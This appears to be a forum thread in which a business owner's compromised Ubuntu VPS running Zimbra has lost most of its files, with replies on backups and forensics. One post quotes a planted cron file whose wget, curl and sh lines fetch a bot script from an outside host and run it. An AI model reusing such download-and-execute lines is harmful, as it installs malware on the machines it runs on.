My Ubuntu 12.04 server went down this afternoon. The server is running Zimbra and is my email server for business emails so it is critical that it gets up and running again.

I've been working on this for hours and am trying to boot up Rescue Mode from the Ubuntu 12.04

Unfortunately it is not working at all. When I get to the shell question, it is trying to boot a shell from the different partitions:

vda1
vda2
vda5
vda6
vda7

1 was /boot
2 can't mount for some reason (I think it is swap)
5 was /
6 was opt
7 has home

but none of them will mount saying there is no shell on any of them.

I used rescuerestorecd and I manually mounted them and it seems vda5 (which was previously /) is no longer containing a /bin directory or /sbin for some reason.

This is really messed up and I need this up and running asap.

What is your actual problem? Ubuntu cannot boot or not able to send mails ??

from what i understand, more info is must needed;

I cannot boot. It is saying Error: File not found.

I'm only getting grub rescue>

I have done a directory listing of each of the devices listed:
(hd0) (hd0,msdos7) (hd0,msdos6) (hd0,msdos5) (hd0,msdos1)

msdos5 contains:
. .. opt etc run proc dev sys

There is no bin directory.

Boot is on msdos 1

The problem is, if I do rescue> set root=(hd0,5)

Then it works. But then I can't do ls /boot because it is not on that device.

I don't know what I'm doing with grub rescue!

Since you can boot into the rescuecd and manually mount, that would be the place to start.

See if you can locate your /etc/ directory and paste the output of
Where .../ is mount point.

As you seem to realize, identifying your partitions unambiguously is really necessary.

It is possible that the drive has failed or filesystem is corrupted. So until you know for sure what has happened, you should be careful to not write to the mounted partitions or perform any disk operations that might overwrite data which you may need to try to recover later.

I don't use grub so cannot help with its options, sorry.

Okay... I'm in a Live CD and it seems like everything is gone!!!

I pulled up GParted and the partition with /opt (running Zimbra) is completely gone. The zimbra folder is there but there is nothing inside it but a couple of insignificant files.

On the Root partition there are only the 6 folders that are mentioned above.

I there is no /home partition anymore for some reason.

Could a hardware failure at my VPS provider cause some stuff to disappear? Or, is it likely that I've been hacked and the server was wiped out?

If hacked, I don't see why they would just wipe out certain files and not change passwords or something. It seems odd to me to just wipe out specific folders.

Hard to say, but my first guess would be hardware (drive) failure, or a screwed up maintenance operation.

But who is to say what a malicious person might do... there are those who might think it would be a good laugh to wipe out someone's system. Do any others have access to it?

If it is a hosted VPS I would certainly contact the provider and secure that drive if possible. Then see if you can restore to a new machine or drive.

Presumably you have backups...?

It looks like I have been hacked. I looked inside the /etc directory and there was only one directory cron.weekly

Inside that was one file: 00logrotate

I looked in that file and there was:
wget command for http://stablehost.us/bots/regular.bot -O /tmp/sh
curl -o /tmp/sh http://stablehost.us/bots/regular.bot
sh /tmp/sh;rm -rf /tmp/sh

So... I assume that I'm screwed here!

And, other than the backups that my provider is doing, I did not have separate backups. I was trying to figure it out, but apparently Zimbra can't just be rsync'd because there is one file they have that is designed to take up all of the space on the drive and you can't rsync it. So, I never figured out a way to do it myself.

I feel your pain...

At least get the most recent backup from the hosting provider - download a complete local copy and check it carefully, odds are that it includes an attack vector too! But at least you can secure your emails, hopefully.

What do you mean by an attack vector? You mean an entry point?

How would I even go about finding that???

I did a search on that stablehost.us bot and it seems that it might be connected to ShellShock.

But, I could swear that I logged into my system and checked the vulnerability of that when I got the notification. Maybe, my system was already compromised at that point.

Yes, I mean an entry point and/or another script designed to load malware. For example, that cron script was either created by a human or another script, and the crontab was probably modified by a human or a script... so it is frequently difficult to determine the original vector, or whether it placed other vectors. In any event - do not try to restart the backup - it likely includes a time bomb or two!

There is no single way to go about searching for something like that, but the first part is of course to secure an offline copy of the backup, then you can sift through it for various exploits.

The security forum here on LQ would be a good place to ask for advice, someone may even be familiar with this particular script.

When you say a time bomb, what are you referring to?

I've asked my provider if they can provide me a copy of my VPS so that I can download it and put it on a VM in my computer (hopefully) offline. I figured cutting off access to the internet would be enough to protect it. But you don't think so?

I guess I should be more thoughtful in the terms I use, sorry.

What I mean by time bomb is just that bad things can and most likely will happen in future if you simply try to restore from a compromised backup.

Most exploits of web facing systems that I have had personal experience with, happened over a longer period of time than simply someone obtaining access and instantly wreaking havoc. The havoc is usually the result of them covering their tracks when done!

Typically, an initial access will occur and place a vector for future entry or other exploit. Subsequent accesses/exploits will install additional scripts and usually remove previous ones, and perform whatever tasks are the object of the exercise. If you are not monitoring closely, by the time you know there is a problem they literally own your system. This may occur over a period of months.

Your backups are of course made during this time as well, and will contain one or more, usually more, vectors or compromised code that will affect any future use in various bad ways. Hence, the advice to never attempt to restore and run those backups, or you will likely compromise the new system.

The main value of the backups would then be to attempt to recover your important data - and it should be scrutinized as well - and to have the logs and system files available for whatever forensics you may need to perform.

Hope that helps.

Thanks... My intention was to try and run the backup in a VM on my personal computer and cut off access to the outside world. Then run the zimbra control functions to export all of the email accounts, contacts and calendars. Then, import that information into a different system all together.

Does that sound like a solid plan, or a ticking "time bomb"?

By the way, I will point you again to the security forum here on LQ, where you might want to start a new thread, explain what has happened and ask for further advice.

While I am a GNU/Linux user and admin with some experience in these things, I am by no means a security expert - but there are some very good ones over there in the LQ-Security forum!

Good luck!

You may be able to do that reasonably safely in a VM, but I would still carefully scrutinize the individual accounts and certainly change every password before taking them to a new server.

I don't know Zimbra so I'll include that under the general topic of my previous post about the security forum.

*** EDIT *** In fact, I'll request a moderator to just move this thread to the security forum so the record will already exist and you won't have to retype everything! Someone there can give you better tips on formulating a plan.

*** EDIT2 *** You beat me to it - new thread here - best of luck with it!